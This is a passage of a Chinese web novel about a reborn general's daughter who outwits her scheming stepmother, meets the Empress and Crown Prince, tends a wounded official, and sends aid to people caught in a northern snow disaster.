“虽然都犯下了重罪,但如果我们一下处置这么多人,怕是不妥啊!”
“不若直接将这些人发卖出去,既惩罚了他们,也让人觉得我们将军府宽和,不落人话柄。”
第33章 都是同类
楚安辞一脸不可置信的看向萧氏,眼泪瞬间汹涌而出。
“夫人,那是我娘亲留下的唯一念想,都被他们给偷偷拿出去卖了......”
她眼中是委屈和隐忍。
“但夫人既然这般说了,那就听夫人的便是。”
“左右我娘亲已经死了,大不了我随她去,像娘亲请罪就是。”
“是我没用,竟然连娘亲的遗物都护不住!”
之前楚安辞那强势的态度太过印象深刻,突然又是这幅熟悉的模样,萧氏先是愣了一瞬,随即暗暗咬牙。
“那大姑娘觉得如何处置才好?”
楚安辞的眼泪瞬间收住,萧氏的眸子再次暗了暗,都是同类,这还看不出来她就是傻子:这丫头竟然真的都是装的。
这些可都是她最擅长的,竟然被楚安辞用来对付自己,萧氏岂能不气。
楚安辞擦了擦眼泪,抽噎道:“偷盗主家财物金额巨大,夫人如若觉得杀人见血不好,不如就交给官府吧。”
“按照律例,凡奴者偷盗主家财物超过一定数额,是要仗一百,全家徒三千里的。”
全家徒三千里?那不就是让他们全家去死吗?
白灼拿眼瞟向楚安辞:小姐,您真是张口就来啊,我怎么不知道有这条律例?
她去看楚风,楚风不动声色的摇头:别看我,我也不知。
刑罚是有的,但处罚的有没有这么重,那就未可知了。
而下面的十几人就更不知道了,见楚安辞说的那般笃定,他们莫名的信了。
十几人身形微颤,都抬头惊恐又祈求的看向萧氏。
有人还想要说话,萧氏连忙道:“这样是不是太......”
楚安辞打断她的话,“夫人放心,不叫夫人为难,让楚风去做就是。”
萧氏手紧紧攥着:这哪能行,我答应了保住他们的家人,他们才答应自己承担罪责。
如果交到官府,他们说出什么不该说的,那我岂能落到好?
“不必了!”
萧氏猛地抬起头来,快速道:“将他们全部杖毙,家人通通发卖出去!”
然后立即给王嬷嬷使了个眼色,王嬷嬷会意,对着人招手。
“将嘴堵了,拉出去。”
楚安辞也没阻拦,楚风带来的人立即将人嘟了嘴,拉着就出去了。
十几人,十几家,这可是一下子除去了不少人啊。
楚安辞唇角带着笑,“多谢夫人做主,不过一下子杀了这么多人,真的没事吗?”
她是问句,却并没有想要得到萧氏的回答。
然后后面的话,彻底让萧氏差点晕倒。
“不过府内的治安着实差了些,竟然有这么多内贼,库房乃将军府重地,切不能再有失,所以以后便让楚风安排人日夜守着。”
“当然,他们只负责库房的安全,不会管理库房内财物和账目的,更不会随意进入库房之中,而里面的东西和账目,这些还请夫人派可靠的人接管。”
“今日事情多,夫人后面需要安排的事情想必也不少,安辞就不打扰了。”
然后在萧氏半靠在王嬷嬷身上,虚弱又凌厉想要杀人的眸光中,大摇大摆的出了静安居。
萧氏呼吸紧蹙,“她,她怎么可以?”
“派人保护库房,守着库房,那和监视有什么区别?”
“今日还让我失去了这么多人,这些人除了我带来的,其他那些可都是我用了十几年,好不容易拉拢到自己手下的,竟然都被她铲除了。”
“是我小看她了。”
萧氏捂着胸口,似乎随时都要栽倒。
王嬷嬷紧张道:“夫人莫急,现在不是与她算账的时候,我们该先看看后面怎么安排才是。”
“以后库房就在她的眼皮子底下了,我们想要做什么怕是很难了。”
“舅爷那边,前两日还派人来说老夫人看上了一个庄子,可是他们手头的银子不够。”
萧氏闭了闭眼,“这些年我往萧家拿了多少东西了,他们竟然还不知足。”
“是想要我将将军府搬空吗?我还有雨儿,那些都是我留给雨儿的嫁妆,即便是我亲娘,也不能索求无度!”
见萧氏情绪愈加激动,王嬷嬷只能转而说其他:“夫人,一下子没了这么多人手,后面我们怎么安排?要不老奴再去安排些新人进来?”
萧氏摆手,被王嬷嬷搀扶着,斜靠在床上,“不必,左右将军府就三个主子,也用不了那么多人。”
“省下的银两还能留着多给雨儿添些嫁妆。”
“你去瑶华居说一声,府里一下了少了这么多人,做什么的都缺,将瑶华居的人都给我调走。”
“她不是算计吗?那也该让她尝尝后果才是。”
顿了一下,又道:“厨娘不用,给她留着,我还有大用。”
我的人都撤了,再有什么,那可都与我无关了。
萧氏眼底杀意尽显,势不可挡。
瑶华居的人手撤的很快,白灼站在门内,看着萧氏安排的丫鬟和仆妇离开,扭头便道:
“小姐,终于清净了,天天那么多人盯着,可不舒服了。”
蓝英走出来,“小姐,万管事安排的人都收拾妥当,今日便可入府。”
楚安辞颔首:“那就进来吧,还是自己的人用着方便,哦,对了,是不是还留了一位?”
白灼点头,“嗯,是一位厨娘,查过了,是我们回府前刚买来的。”
楚安辞一边点头,一边‘哦’了一声,唇角还带着笑,也不知道她想到了什么。
天黑之前,万管事早就准备好的人便入了将军府,进了瑶华居。
萧氏知道的时候,还是在入睡之前。
没办法,人手少了一大半,门口的人也都被楚风控制了,她想再如之前那般快速知道消息,确实有些难。
萧氏气的从床上弹了起来,“你说什么?她从外面带了几人进府?”
王嬷嬷点头,“是,说是瑶华居没人不方便,所以她们自己准备了人,就不劳夫人费心了。”
萧氏大喘气,手一用力,将床上的帷幔给硬生生扯了下来,“她这是早有准备了,就等这一天了是吗?”
“害我损失了那么多人,她却趁机安排了自己人进来,可恶!”
王嬷嬷眼珠子一转,道:“夫人,左右将军他们远在边关,我们又何必顾忌那么多?”
萧氏看向她,“你的意思是......”
王嬷嬷做了个抹脖子的动作。
萧氏眼眸转动,看向黑暗的角落,“之前我只想体面一些,先让沈世子厌恶了她,解除婚约,再成全我的雨儿。”
“现在她既然这般不好控制,确实也该想想法子了。”
“只是不能让人怀疑到我们身上,将军府的势,我和雨儿还都需要,决不能丢,不过将军府有一个嫡小姐就够了。”
萧氏终于露出一点笑意,但还是道:“一切都要暗中筹谋,决不能影响了我和雨儿。”
王嬷嬷点头,“老奴知道的。”
楚安辞美美的睡了一觉,归京以来,从没有这么爽过。
果然,还是直接动手最爽了。
楚安辞一觉神清气爽,起来后先去后面练功,然后洗漱。
用早膳的时候,她道:“今日我们出去走走,一会找一身宝蓝色的男装出来。”
白灼兴奋,“我终于可以自在的出去走走了,在这京城女儿家规矩太多了。”
楚安辞点头,“嗯,确实有点多,今日开心,带你们出去玩。”
三人一边想着一会去哪玩,一边吃饭。
只是刚吃完饭,还没出门,就有人来报。
“大小姐,宫里皇后娘娘请!”
楚安辞一愣:皇后?
她蹙眉:活了两辈子都不曾与她有过接触,好好的为何要见我?
下人道:“大小姐,宫里的内侍还在前面等着!”
楚安辞点头,“哦,好,我这就来。”
白灼急忙给她换了一身衣裙,这才跟着往前面去。
到得前院,萧氏和楚潇雨正在和那名小内侍说话,似乎是在问皇后为何要见楚安辞。
楚安辞对着小内侍行过礼,那面白无须的小内侍便掐着嗓子道:
“楚大小姐随奴才进宫吧,咱们皇后娘娘听闻您回京,早就念叨着要见见您了。”
楚安辞刚要跟着小内侍离开,就被萧氏拦了一下,“你刚回来,宫里规矩多,自己去我不放心,要不还是让雨儿陪你一起去吧。”
“她虽然也没进过宫,但也是在京城长大的,了解的多一些。”
这可是接近皇后的好机会,岂能错过?
说话间,还示意王嬷嬷给小内侍塞了个沉甸甸的荷包过去。
楚安辞看向小内侍,眼神询问。
第34章 太子妃的不二人选
楚安辞:“公公,皇后娘娘可是要我们姐妹一同入宫?”
小内侍摇头:“自然不是,皇后娘娘只说召见楚大小姐一人。”
楚安辞有些犹豫,“那如果妹妹一起,娘娘那边可好说?”
小内侍刚想说其实也没什么的,就听楚安辞道:
“如果公公擅自做主,娘娘会不会怪罪啊,如果无事的话,那就请妹妹与我一道进宫吧,毕竟我未曾进过宫,确实许多规矩都不晓得。”
小内侍到了嘴边的话在舌尖转了一圈,又咽了下去。
“那自是不能的,娘娘说了只召见大小姐一人,奴才可不敢擅自做主。”
再看萧氏的时候,眸中带着一点点怨怪:差点害我回去挨罚,你安的什么心?
萧氏见到内侍的神色,立即改口,“啊,是我考虑不周,自不敢擅自做娘娘的主。”
然后对楚安辞道:“既然皇后娘娘要见你,你进宫后切不可多言,守好规矩,切莫得罪了贵人。”
“还有,你妹妹最近一直在忙着练习绿腰舞,听闻娘娘喜欢绿腰舞,你妹妹想着等除夕宫宴,献给娘娘,到时你也提一提。
毕竟都是将军府的小姐,娘娘高兴了,对你也是有好处的。”
楚安辞心道:她们真是绝不放过任何一个表现的机会啊。
上一世大将军虽然也不在京城,但每年除夕宫宴,他们将军府也都是有资格参加的。
但这一世,好似变了,自从大将军离开后,萧氏母女没有被邀请过一次。
而随着楚安辞回来,宫内这才传出消息,邀请将军府女眷参加今年的除夕宫宴。
楚安辞了然:看来这位皇帝对臣子的后宅,也是了如指掌啊,连爹爹重视不重视这对母女都清楚的很。
楚安辞随意的点点头,跟着小内侍离开。
转身的时候,眼角余光还看到小内侍悄摸摸的,将王嬷嬷塞的那个荷包给揣进了袖中。
她不禁一笑:这小内侍没给萧氏办事,还贪了她的财,有意思啊。
萧氏这是什么,偷鸡不成蚀把米?
坐着马车到得宫门口,楚安辞从马车上下来,后面长长的一段路,就得她走着去了。
让白灼和蓝英在宫门口等着,她自己撑着伞跟着小内侍进入皇宫。
雪还在洋洋洒洒的落下,皇宫宫道上被打扫的没什么积雪,路也不划滑,走的倒也轻快。
刚进入皇宫没走多远,就察觉到后面有人快速靠近。
楚安辞回头看了一眼,呀,竟然是个熟人。
她对着景离摆摆手,“大人。”
景离也没想到她会在这里,走近凝眉沉声道:
“你怎么在这里?”
楚安辞一瞬间以为自己哪里得罪他了,冷着张脸,比昨日去靖安伯府路上见到他的时候还冷。
“皇后娘娘宣我进宫。”
景离的神色没变,但楚安辞清晰的看到了他眼神似乎更冷了。
楚安辞问道:“大人的伤可好些了?”
景离看了小内侍一眼,小内侍早在景离来的时候,就走的远远的站着了。
好似景离会吃了他一样。
“你的药效果很好。”
楚安辞笑道:“嗯,这可是我的独家配方!”
然后看了看远远的宫殿,“大人应该有公务要忙,我就不耽误大人了。”
景离没有说话,楚安辞已经径直离开了。
看着人消失在拐角,景离这才收回视线,看了看宫殿的位置,眼中闪过寒芒,气息骤冷。
似乎周围的冰雪都不及他三分。
进入皇后的坤宁宫,只见一美貌妇人端坐在上首。
头戴凤冠,身着酱红色鎏金凤袍,眉眼间自带上位者的气度。
“臣女楚氏安辞,给皇后娘娘请安。”
“嗯,起吧!”
楚安辞起身,端端正正的站在那里,没有抬头。
但能感觉到上面的视线,一直落在她身上打量着她。
许久,上面那温和的声音才开口道:
“楚大将军有个好女儿,早就听闻大将军前往北境戍边,是带着先夫人留下的一双儿女去的。”
“可见大将军很是在意先夫人。”
“你父兄可好?”
楚安辞回道:“爹爹和哥哥一切都好,劳皇后娘娘挂念。”
皇后又道:“你兄长也是个有能耐的,本宫听皇帝提起过,小小年纪便立功无数,是个有大才的。”
楚安辞:“皇上和娘娘过奖了,能为朝廷效力,也是哥哥的荣幸。
哥哥曾说过,他的志向便是为朝廷,为皇上守卫疆土,不让北边蛮人来犯,不让他们侵扰我们万盛朝的百姓。”
一番效忠的话,简单聊表一下定北军的忠诚。
毕竟坐拥几十万大军常年在外,难免不会受上位者的忌惮。
以前是没机会,现在有机会了,自然要替父兄表表忠心的。
皇后笑了,抬手,“来,你过来,让本宫好好看看。”
声音似乎都愉悦了几分。
楚安辞往前,走到皇后身边。
皇后仔细打量一番楚安辞,“确实是个好看的姑娘,难怪宣平侯府早早将你定下,还是宣平侯有先见之明。”
楚安辞没有接话,脸颊只是微微带上红晕,露出小女儿家娇羞的样子。
这样的楚安辞,更显娇媚了几分。
“来人,将东西呈上了。”
很快两个宫女端着两个托盘进来。
皇后道:“这些都是本宫赏赐你的,北境贫瘠,没什么好东西,这些你都拿回去用。
既然回来了,大将军又不在,本宫便多照顾一些也是应该的。”
“你这姑娘呀,乖巧可爱,本宫看着就喜欢。”
皇后很是亲近,亲近的楚安辞有些不适应。
她没搞明白,皇后为何要待她这般亲切?
多年的直觉告诉她,这其中定有蹊跷。
皇后拉着楚安辞说了好一会话,中午还留了饭。
一直用过午膳,皇后觉得困顿了,楚安辞这才告辞离开。
楚安辞前脚离开,原本困顿的皇后就睁开了迷蒙的黑眸。
她叹了口气道:“姑娘倒是不错,可惜已经有了婚约,不然倒是太子妃的不二人选。”
嬷嬷道:“娘娘也不必惋惜,将军府又不止一个姑娘。”
皇后点头,“也是,只是皇上特意让我召见她,许是对将军府也是有些防备的。”
“如果真的想要娶将军府的姑娘为太子妃,虽然对太子是好事,但这件事也不能由我们提出,只有皇上主动提出才可。”
“毕竟那是几十万大军,虽然能成为太子助力,但也不能太过引陛下忌惮才是。”
“一旦帝王有了防备,那即便是太子,只要没登上那个位置,也是随时都会有变故的。
更何况这些年来那位得宠,她的儿子虽然不成器,却也得皇上宠爱,甚至超过了太子。”
“哼,生了个不成器的儿子,却还有那么大的野心,惦记自己不该惦记的东西。”
提起那位,皇后的慈和再也没有。
“不过倒是可以与太子提一提,让他多加关注一下那位将军府的嫡次女,说不定真的有机会通过她掌控定北军也不一定。”
她闭了闭眼眸,没再说这件事情。
“你去,将今日见楚大姑娘的事情汇报给皇上。”
嬷嬷先服侍皇后休息,这才退下,去皇帝那里禀报。
而那边楚安辞身后跟着两个端着东西的小宫女,往宫门的方向走去。
刚走出后宫,迎面就遇到了一身形高挑,面容俊朗,眉眼间带着几分尊贵之气的男子。
男子看到楚安辞也是一愣,心中正疑问面前这人是谁。
而楚安辞已经认出了他,这位便是当朝太子。
很荣幸,上一世未成婚前见过两面。
“给太子殿下请安。”
“起来吧,你是......”
太子眉眼间有疑惑。
楚安辞道:“臣女楚安辞,定北大将军府嫡长女。”
太子挑眉:“原来你就是那位刚刚归京不久的楚家大小姐!”
他看着楚安辞的面容,心中微动:竟是个如此娇俏的丫头!
“你这是要出宫?”
第35章 要不,先下手为强
楚安辞颔首:“是,皇后娘娘召见臣女,臣女这会要出宫了。”
楚安辞面容冷淡,吐气如兰,但那种无惧上位者的从容,让太子忍不住多看两眼。
“雪天路滑,楚大小姐可有马车?”
楚安辞忍不住抬眼看向他,一双黑色的明眸似是会说话,好像在说:你怎么这么多问题?没马车我跑着来的吗?这会可还下着雪呢!
但嘴上乖巧,“有的。”
太子唇角忍不住勾起,没有再问,让开身子,“楚大小姐慢走。”
“多谢殿下。”
楚安辞走出几步,这才无奈的收起自己的笑:这宫里的人都有毛病吧,第一次见面一个比一个不正常!
只是刚走出不远,楚安辞突然脚步顿住,猛地回头往一个方向看去。
一片靛蓝色衣角快速闪过,消失在宫墙之后。
什么人?刚才那黏腻的视线,是什么人?
楚安辞皱了皱眉,往宫门口走的脚步加快。
走到宫门口,蓝英和白灼立即迎了过来,将两位宫内端着的东西接了过去。
白灼:“小姐,您终于出来了,可担心死我了。”
楚安辞扯了扯嘴角,微微一笑;“没事,没人能将我如何!”
“走吧,我们回府!”
楚安辞刚要上马车,眼角余光便看到一人身形有些踉跄且缓慢的从宫内走出来。
她收回上马车的脚:景离,他受伤了!
楚安辞快步走过去,抬手将人搀扶住。
景离被人贸然触碰,身体一僵,另一只手下意识的抬起,似是要掐住来人的咽喉。
扭头看到是她,僵硬的身体放松下来,手也重新落回身侧。
看了看四周无人,这才软趴趴的靠在她身上。
楚安辞练武力气大,就是扛着这个男人也不是问题,所以对于景离将整个身子压过来,并不觉得什么。
“你这是......”
楚安辞闻到了血腥味,她蹙眉,没有再问下去,而是对蓝英道:
“蓝英,帮我将人扶上马车!”
进入马车,蓝英在外面驾车驶离宫门,楚安辞给景离把脉。
她眉头越皱越紧:伤口不是见好了吗?我给的药不可能不管用!
她一把将景离胸口的衣服扯开,交错杂乱的鞭痕出现在眼前,触目惊心。
新的鞭痕上面还在流血,而下面还有一道道疤痕,显然那是很早就留下的。
“他......他怎么......”
白灼有些说不出话来,就是在战场上想要伤成这样都很难。
除非被十几人一起围攻,慢慢将你消耗致死。
楚安辞声音冷沉,“白灼,拿药,然后你出去。”
白灼二话不说,将需要用到的要拿出来摆在一旁,然后掀开车帘和蓝英一起驾车。
车厢内有炭火很是暖和,但男人的手还是冰凉的。
楚安辞抬眸,突然对上一双浑浊的眸子,这才想起:坏了,忘记他人还是醒着的了。
那我知道了不该知道的,他会不会杀我?
要不,我先下手为强?
楚安辞动了动手,考虑是先将人打晕,还是直接将人杀了。
男人声音有些沙哑的出声,“放心,我不是杀人不眨眼的人。”
楚安辞:我的心思被看穿了?
她立即拿出单纯无害的模样道:“大人,我知道您作为镇抚司都督,绝不是他们说的那种人的。”
“不过大人身上新伤加旧伤,再不处理怕是会出现炎症,伤口感染化脓,让我来给您上药处理一下吧。”
“您放心,我会很小心的,绝不会弄疼您!”
景离眼底划过一丝笑意,嘴上道:“好!就交给你了。”
然后轻轻闭上眸子,呼吸均匀。
楚安辞眼睛落在那双眸紧闭的脸上,剑眉长眸。
睫毛比一般女子的都要长,虽然不卷翘,但浓密,睁着眼睛的时候,看着眼睛很大。
但偏偏这个男人眼眸大多都是微垂的,很少完全睁开,好似对世间一切都是蔑视的态度。
鼻梁高挺,颧骨分明。
薄唇紧抿的时候,看着小小的。
也是这小小的薄唇,给原本刚毅的脸增添了几分柔和。
但这柔和,在平日里都被这个男人完全隐去了。
楚安辞抬了抬手:这么好看的男人,好想摸一摸啊!
手都快伸到景离脸上了,楚安辞立即又缩了回来:想什么呢,我现在可是大家闺秀,可不能这么随便。
等回头伴做楚北辰的时候,再找机会摸一摸好了。
楚安辞将景离的衣服完全打开,一点一点的给他清理伤口,然后上药。
一边上药,顺便还欣赏了一番这坚实的腹肌,和窄腰。
男人的腹肌,其实楚安辞没少见。
军营都是大男人,都是常年操练的,有腹肌的人真的多的是。
可是这么好看,能一眼就吸引住她的,还真是少之又少。
欣赏完腹肌......不是......
前面上完药,她还将闭着眼睛的人叫醒,翻了个身,毕竟后面也是有伤口要处理的。
中间楚安辞见景离一动不动,车内安静的出奇,手上稍微重了一下。
只觉手底下的身体一颤,男人发出一声闷哼。
楚安辞嘴角翘起,但嘴上却立即道:“对不起,对不起,您没事吧,是不是弄疼您了,我再轻点!”
景离没有说话,只是眼中有些无奈。
自己是武者,还是高手,感官向来敏锐。
虽然闭着眼睛,但楚安辞的小动作依旧没能逃过他的感知。
但他不想怪她。
等楚安辞全部处理完,收拾药箱的时候,一直闭着眸子的景离暗暗松了口气。
就在刚才,他清晰的感受到了女子手指划过他身上的每一寸肌肤。
虽然有伤,但还是让他感觉到了酥麻,每当之间划过肌肤的时候,他的身体身体有了反应。
为了不让楚安辞看出什么,他藏在袖中的手,一直紧紧握拳,青筋暴起。
直到楚安辞说好了,他也不曾立即转过身去,生怕被楚安辞看到什么不该看的。
“大人,你的伤口需要每天换药,这几瓶药我留给你,回头你找你身边的人给你涂抹。”
“哦,多了,不能碰水。”
她扫了一眼景离,虽然有些狼狈,但能看得出这是个爱干净的。
就连发丝都齐整顺滑。
“切忌,绝对不能碰水,至少在伤口愈合之前不可。”
“如果实在想要擦洗,那就等伤口开始结痂,用毛巾简单擦一擦,但不能泡澡。”
恰到此时,外面蓝英道:“小姐,到都督府了。”
楚安辞颔首,对景离道:“我见大人一个人,身上又有伤,就擅自做主送您回来了。”
景离看向她,这会自己的身体已经缓过劲来,终于可以正面对着这个气质干净,不染尘埃的少女了。
“北地多地出现雪灾,北境也是。”
楚安辞一怔:果然,还是发生了。
她早就猜测,今年这雪下的频繁,担心北边会有雪灾,没想到真的发生了。
难怪她最近一直收不到北境的信,也与送药的车队失去了联系,看来他们也遇到了麻烦。
“多谢!”
景离能告诉她这个,她应该领这个情的。
景离似是知道她会担心北境的情况,道:“你放心,朝廷不会不管,会做出相应措施的。”
楚安辞突然直直的看着他,张了张口,但还是将即将出口的话咽了回去。
景离见她不言,道:“我知道你的担心,会有办法的。”
楚安辞看向他,很想大声问出,什么办法?有什么办法?
国库空虚,连戍边大军的粮草都拿不出来,朝廷面对千千万万正在死亡边缘挣扎的百姓,能有什么办法?
第36章 大臣的子女
是掏空国库,去填那些中饱私囊的废物吗?
还是派人,去做压死那些正在生死边缘苦苦挣扎的,百姓的最后一根稻草。
等逼着他们落草为寇,然后派兵将他们杀了?
这样的事情,她在外这十几年,看的太多,已经对这些官员的能力和手段,很是了解。
楚安辞嘴角不禁浮起讥笑。
她深吸一口气,气息沉着,“北境有定北军,那里的百姓爹爹和哥哥不会不管。”
幸好之前运送的粮草都已经到了,以哥哥的作风,肯定会拿出一半去救济百姓。
但其他地方呢?
“大人已经到了,我们就不多停留了。”
景离知道这是赶他下车,便点了点头,没有再说其他。
景离刚下了马车,回过头来,车已经走了。
他无奈一笑,摇了摇头转身进府。
马车没停,很快就回到了将军府。
萧氏和楚潇雨还在等她,见她回来脸色不好看,萧氏心里咯噔一声:莫不是她在宫里惹了娘娘不悦?
“大姑娘回来了,皇后娘娘召见,可有说什么?”
楚安辞心下着急北地的事情,没有心思与她闲扯,直接道:“皇后娘娘只是关心一下大臣的子女罢了,没说什么。”
大臣的子女?
萧氏和楚潇雨的脸色都齐齐一变,很是难看。
楚安辞见此,心下愉悦了一些,道:
“今日陪娘娘说了一天话,我也有些累了,就不陪夫人了。”
“刚好娘娘送了我些东西,我也得回去放起来。”
楚安辞径直带着蓝英和白灼回瑶华居。
因为之前刺激了一下萧氏母女,楚安辞心底反而沉住了气。
她道:“蓝英,你去找万管事问问,可有北境的消息和信!”
蓝英点头,直接用轻功离开。
楚安辞则在心底盘算着自己手中可以调动的资源,看看哪些可以最快帮上父兄。
以她对朝廷的了解,这种情况朝廷很可能将锅甩给定北军,自己还不出银子也不出力。
什么都没有,就让定北军去做,做好了,就口头表扬几句。
做不好,还得承担罪责。
楚安辞不禁在心中暗骂:狗皇帝!
蓝英回来,将两封信交给楚安辞。
楚安辞看过,一封是北境送来的,看日期,信件早就送出,但因为天气原因延误了。
上面写的很清楚,写信的时候,北境已经预见到可能出现的情况,哥哥也已经采取了措施。
楚安辞心中安定了一些,“有哥哥提前安排,即便受灾,北境那里应该也会相对好一些。”
楚安辞又打开第二封信,是押送药材的领队杜镖头的请罪书。
杜镖头在上面写了他们当下的情况,在进入北地,距离边关还有两座城池的地方,大雪封山,他们被困住了。
他们所处的地方受灾严重,因为官府的不作为,很多百姓都被活活冻死。
剩下的即便没有被冻死,也因为生病奄奄一息。
虽然有大夫给免费看诊,但药材却远远不够。
杜镖头擅自做主,拿出一半的药材救济百姓。
因为走不开,也顺便带着人,自发加入到救灾之中。
这份请罪书,则是因为他擅自动用药材而请罪。
“大小姐,属下擅自决定,甘愿承担任何后果。
等回京,任凭大小姐处置。”
楚安辞将信放在桌子上,静静的看着外面。
白灼和蓝英也看过了信,白灼小心翼翼的问道:
“小......小姐,杜镖头他......”
那可是军用物资,岂能随意挪用?
白灼虽然知道杜镖头这么做不对,但也无法真的怪他。
楚安辞输了口气,“这个时候,这些药材即便到了北境,哥哥也会拿出来救济百姓的。”
她将请罪书放在烛火上,点燃,“去告诉万管事,从南方调度药材,尽快送往北境。”
“那些药虽然多,但这么多人,还有这么多百姓,等到边关,估计所剩无几。”
“既如此,我们现在要做的,就是重新筹备药材,等雪灾一过,就送往边关。”
白灼:“小姐,您不怪杜镖头?”
“怪?如果是我,我可能会全部拿出来,毕竟他们拿性命在战场上厮杀,为的不就是守护身后的百姓吗?”
“现在只是换一种方式罢了。”
“杜镖头本就是从定北军中退下来的,他有此作为,我并不意外。”
“白灼,看看我们还有多少银子,全都拿去给万管事。”
白灼看了看仓库的方向,叹了口气,“唉,就知道我们小姐能赚也能花,这些银子才在手里捂了多久?这会又要出去了。”
楚安辞因为收到了北边的信,有了消息,心里反而踏实了。
她听到白灼的叹息,笑道:“银子没了我们可以再赚,京城这么多有钱人,还愁没钱?”
白灼眼睛一亮:“小姐,您可是有什么主意了?”
楚安辞走至书桌旁,开始写写画画。
小半
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个时辰后,将自己的作品交给蓝英,“交给万管事,让他好好准备,定要将这个打出去,也让我们看看京城的有钱人怎么挥金如土的。”
三人在这张纸上,似乎看到了钱财呼啦啦涌来的场景。
翌日一早,楚安辞就换做男装,准备出门打探消息。
出门前,刚好收到了来自宣平侯府的邀请帖。
是沈厉岚邀请她去寒山寺赏梅的帖子,楚安辞将帖子随手一放,“告诉沈世子,我明日会去。”
然后便带着蓝英和白灼出了门。
有楚风掩护,她们三人出府,即便不用轻功,也无人发现。
当然除了瑶华居内的人,但这里的人,除了那个厨娘都是她的人,谁会出去说呢?
所以当楚潇雨知道沈厉岚邀请楚安辞明日去赏梅,而没有邀请自己,正在发脾气的时候,丝毫不知道被她嫉妒的人已经潇洒出府了。
因为下雪,路上行人不多。
楚安辞也没有去万方楼,而是来到最靠近各部衙门的茶楼。
她在楼上找了个位置,没有进包间。
不一会就陆陆续续的来了不少人。
甚至其中还有人穿着官袍,一看就是刚散了朝,一起出来说话的。
而穿着官袍的人,都是进了包间,没有在外面的。
虽然包间门关着,但他们的谈话依旧被楚安辞听了个清楚。
“哎呀,北地多地雪灾频发,怕是不好啊!”
“说的可不是嘛,今早商议了一个早上,连出去赈灾的人选都没定下来。
也不知道最后是谁这么倒霉,摊上这件事。”
“如果是之前,国库充裕,去赈灾那就是去捡功劳,可是现在,户部都困难的紧,根本拨不了多少钱粮。”
“也不知道陛下怎么想的,那位冷面阎王就是最适合的人选,可是偏偏皇上就是不让他去。”
“嘘,隔房有耳,小点声。
那位可是皇上的心腹,陛下自是不舍得让他出去。”
“可不是,我还真希望他出去,他离开京城,我们也能喘口气不是?”
“最好能在外面出什么事,那我们就不用整日提心吊胆了。”
“你在这里做什么?”
眼前一暗,正在专心竖着耳朵,做那‘隔房有耳’的耳的楚安辞突然抬起头来。
她惊讶起身,“离都督,真是好巧!”
景离淡漠的视线扫了一眼那个传出声音的包房,道:“里面一座!”
楚安辞一愣:啥?人家正说他小话呢,这样进去不好吧?
第37章 他关心,就说了
而景离已经踏步,往旁边的包房走去。
看了看说话的隔壁包房,楚安辞莫名的替里面几人输了口气:原来不是去抓包啊!
抬脚跟了进去。
等伙计上了茶,景离将茶杯一推,“辰公子来自哪里?”
楚安辞看向景离,没有回答反而问道:“大人这是调查过我?”
景离点头,“是,作为镇抚司都督,京城突然出现一位辰公子这样身手的人物,本都督自是要多加关注的。”
楚安辞笑了笑,道:“那大人可有查到什么?”
景离定定看着她,几息后才道:“不曾。”
楚安辞笑了,“大人还真是诚实啊,就不怕在下觉得你们镇抚司虚有其名?”
景离却道:“镇抚司的指责是维**度,监察百官,维护京城治安。”
“你不是官,也不是匪,只要威胁不到京城百姓,本都督没有必要继续派人调查。”
楚安辞抿了口茶,茶香入口,她愣住了:庐山云雾。
她眼神瞥向景离,见他不动声色,楚安辞抿了一口,心道:是巧合吗?
她喜欢喝庐山云雾这件事,只有在女装以楚安辞的身份,与景离相处的时候曾被他发现过。
但是男装时候的她,并没有如此与景离接触过的。
所以他应该不知道才是。
楚安辞只道是巧合,不动声色。
“那还多谢大人信任了,不过在下也只是个喜欢四处游玩的闲散人罢了。”
她又道:“虽然是悠闲散人,但生活在市井间,也听到了一些消息。”
“可怜北地百姓,现在正处在水深火热之中。
我之前在北边待过几年,那里的民风淳朴,百姓为了生计终日忙碌,突然遇到雪灾着实可怜。”
景离鼻间发出一声轻哼。
楚安辞看向他,以为自己听错了。
只听景离道:“既是万盛朝的百姓,朝廷自是不会不管的。”
“朝中已经在商议派人前往赈灾,此事不会拖得太久。”
楚安辞:“那北地现在情况如何?不知大人可否告知?”
景离漫不经心的看向她,“你似乎很关心这件事情。”
楚安辞笑了笑,“都是万盛百姓,关心一下也是应该的吗。”
景离:“情况并不是很好,消息传到京城,已经晚了。”
楚安辞的神色也郑重起来:已经晚了,那就代表现在,很可能已经**许多人了。
楚安辞起身,“大人公务繁忙,在下就不打扰了。”
不等景离说话,人已经出了包间。
等走出茶楼,楚安辞突然一顿,扭头看向茶楼二楼。
按说这些话,景离不应该告诉她一个不熟悉的人才是,可偏偏他就是说了。
跟着景离出来的灵耀也不明白,“主子,这些话您为何要告诉他呢?”
景离道:“他关心,我就说了。”
灵耀......就这?
楚安辞离开茶楼,径直去了万方楼。
这会万方楼人不多,万管事亲自出来接待。
楚安辞直接道:“万管事,传话给哥哥和杜镖头,我们在北地设了几个粮仓,里面的粮食他们可以在关键时刻拿出来用。”
万管事一惊,“小......公子,那些可是我们拿来给定北军应急的。”
楚安辞道:“现在定北军暂时还安稳,那些粮草还用不上,但是北地的百姓更需要。”
“并且我们留在北地各处的粮食原本也不多,就先给他们用了吧。”
“将粮仓的位置都标记出来,告诉哥哥和杜镖头。”
“等雪灾过去,明年我们再将粮仓补充进去就是。”
因为上一世的事情,楚安辞可是做了好几手准备。
只是这些原本都是后手,现在却用在了这里。
安排妥当,楚安辞在万方楼待到下午这才回府。
翌日上午,楚安辞身着淡紫色压花锦缎上衣,月白色百褶如意月裙。
外罩白色狐狸**大氅。
头戴赤金镶珠花簪,没有再加多余的首饰,带着白灼和蓝英出门。
走致将军府大门的时候,远远的就看到了一身靓蓝色绫锻袍子,头插羊脂玉发簪的沈厉岚。
沈厉岚比楚安辞大了四岁,自小的教养,和他的气度性格,都让他显得稳重。
骑在高头大马上,身姿笔挺,引人注目。
可能是察觉到了有人过来,沈厉岚原本望着前方的视线一转,正看到埋在狐狸**中的一张小脸。
眼睛很大,黑亮黑亮,看着干净又清澈。
沈厉岚下了马,站在门外等楚安辞走进。
“沈世子。”
沈厉岚点头,“我来接大妹妹。”
楚安辞淡淡一笑,走到已经备好的马车旁。
沈厉岚伸出手,想要扶楚安辞上车。
楚安辞看着那双手,犹豫了下,刚要将自己的手打上去,就听到后面传来楚潇雨的声音。
“沈哥哥,你怎么在这里,是来找我的吗?”
沈厉岚的手顺势收回,转身看向楚潇雨。
“我来接大妹妹去赏梅。”
楚潇雨的笑落了下去,脸上是失望和难过。
“哦,这样啊,那是我想多了。”
随即又艰难的扯出一个笑,“那沈哥哥你们去吧,我还以为你知道我今日要去寒山寺上香,专门来等我的......”
